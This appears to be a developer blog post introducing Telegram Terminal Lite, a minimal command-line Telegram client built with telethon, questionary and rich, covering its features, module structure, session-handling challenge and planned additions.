<p>Because modern apps are overloaded.</p>
<p>Sometimes I don’t want notifications, animations, sidebars, stickers, recommendations, floating buttons, and ten tabs fighting for attention.</p>
<p>I want:</p>
<ul>
<li><p>open terminal</p>
</li>
<li><p>authenticate</p>
</li>
<li><p>choose chat</p>
</li>
<li><p>read messages</p>
</li>
<li><p>exit</p>
</li>
</ul>
<p>That’s it.</p>
<hr />
<h2>What Telegram Terminal Lite actually does</h2>
<p>The project uses:</p>
<ul>
<li><p><code>telethon</code> for Telegram API communication</p>
</li>
<li><p><code>questionary</code> for keyboard-based navigation</p>
</li>
<li><p><code>rich</code> for terminal rendering</p>
</li>
</ul>
<p>This makes the terminal feel surprisingly usable for messaging workflows.</p>
<hr />
<p><a href="https://github.com/sahilpatel0x01/telegram-terminal-lite">View telegram-terminal-lite on GitHub</a></p>
<h2>Features</h2>
<ul>
<li><p>Browse Users</p>
</li>
<li><p>Browse Groups</p>
</li>
<li><p>Browse Channels</p>
</li>
<li><p>Browse Bots</p>
</li>
<li><p>Open any chat</p>
</li>
<li><p>Read latest 20 messages</p>
</li>
<li><p>Navigate fully with arrow keys</p>
</li>
</ul>
<hr />
<h2>Why terminal instead of GUI?</h2>
<p>Because terminal gives:</p>
<ul>
<li><p>lower memory usage</p>
</li>
<li><p>faster startup</p>
</li>
<li><p>no visual noise</p>
</li>
<li><p>easier scripting later</p>
</li>
</ul>
<p>This is especially useful if you already live inside shell sessions.</p>
<hr />
<h2>Internal structure</h2>
<p>The project is split cleanly:</p>
<ul>
<li><p><a href="http://main.py"><code>main.py</code></a> → controls app flow</p>
</li>
<li><p><a href="http://auth.py"><code>auth.py</code></a> → handles Telegram login/session</p>
</li>
<li><p><code>chat_</code><a href="http://loader.py"><code>loader.py</code></a> → loads dialogs and categorizes them</p>
</li>
<li><p><a href="http://ui.py"><code>ui.py</code></a> → renders menus and messages</p>
</li>
</ul>
<p>That separation made debugging much easier while keeping the MVP small.</p>
<hr />
<h2>First engineering challenge</h2>
<p>Telegram authentication is easy once.</p>
<p>Reliable session handling is where it starts becoming real.</p>
<p>The moment sessions break, the whole CLI becomes annoying.</p>
<p>So authentication had to feel invisible after first login.</p>
<hr />
<h2>Why this project matters beyond Telegram</h2>
<p>This is not only a Telegram client.</p>
<p>It is a pattern:</p>
<p><strong>take an everyday GUI workflow and compress it into terminal-native interaction.</strong></p>
<p>That same idea can be reused for:</p>
<ul>
<li><p>email</p>
</li>
<li><p>dashboards</p>
</li>
<li><p>internal tools</p>
</li>
<li><p>monitoring systems</p>
</li>
</ul>
<hr />
<h2>What comes next</h2>
<p>Possible next versions:</p>
<ul>
<li><p>send messages</p>
</li>
<li><p>search chats</p>
</li>
<li><p>message filters</p>
</li>
<li><p>file preview</p>
</li>
<li><p>command shortcuts</p>
</li>
</ul>
<hr />
<h2>Repo</h2>
<p><a href="https://github.com/sahilpatel0x01/telegram-terminal-lite">View telegram-terminal-lite on GitHub</a></p>
<hr />
<h2>Closing thought</h2>
<p>A lot of software becomes useful when you remove features, not when you add them.</p>
<p>This project started with one question:</p>
<p><strong>How little Telegram can exist and still remain useful?</strong></p>
]]></content:encoded></item></channel></rss>